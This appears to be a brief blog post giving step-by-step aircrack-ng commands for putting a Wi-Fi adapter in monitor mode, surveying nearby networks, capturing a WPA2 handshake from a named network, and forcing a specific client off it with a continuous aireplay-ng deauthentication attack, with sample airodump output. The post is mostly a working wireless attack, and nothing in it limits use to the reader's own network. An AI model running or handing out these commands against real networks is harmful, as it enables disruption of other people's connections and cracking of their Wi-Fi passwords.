aircrack-ng, listen, force deauth, generate cap

Install aircrack-ng:

sudo apt -y install aircrack-ng

Plug an additional wifi adapter which supports a listening mode.
Start the second wifi adapter to perform in listening mode:

airmon-ng start wlan1

Check out the wifi situation:

airodump-ng wlan1mon

Beacons is the way how the wifi network announce their persistence. Concentrate on networks with a lot of Beacons.
STATION column means there is client connected to:

CH  3 ][ Elapsed: 1 m ][ 2019-03-17 12:46

 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
                                                                                                                                                                            
 18:4A:6F:92:B6:D0  -63      105      298    0   3  54e  WPA2 CCMP   PSK  dz66        

 BSSID              STATION            PWR   Rate    Lost    Frames  Probe                                                                                                   
                                                                                                                                                                             
 18:4A:6F:92:B6:D0  5C:51:88:3A:C3:CD  -55    0 - 1e     1        2

Capture a 4-way Handshake. To set to listen on channel 3 and this network and write an output use:

airodump-ng -c3 -w dz66 -d 18:4A:6F:92:B6:D0 wlan1mon

This will show all stations which is connected to network 18:4A:6F:92:B6:D0 with humman network name dz66. Fast up the clients to gets deauthorized. The following command will kick off only one client 5C:51:88:3A:C3:CD:

aireplay-ng --deauth 0 -a 18:4A:6F:92:B6:D0 -c 5C:51:88:3A:C3:CD wlan1mon

aircrack-ng, listen, force deauth, generate cap

No comments:

Post a Comment

solve, automate, speed up

Raspberry Pi WiFi Listen

aircrack-ng, listen, force deauth, generate cap

No comments:

Post a Comment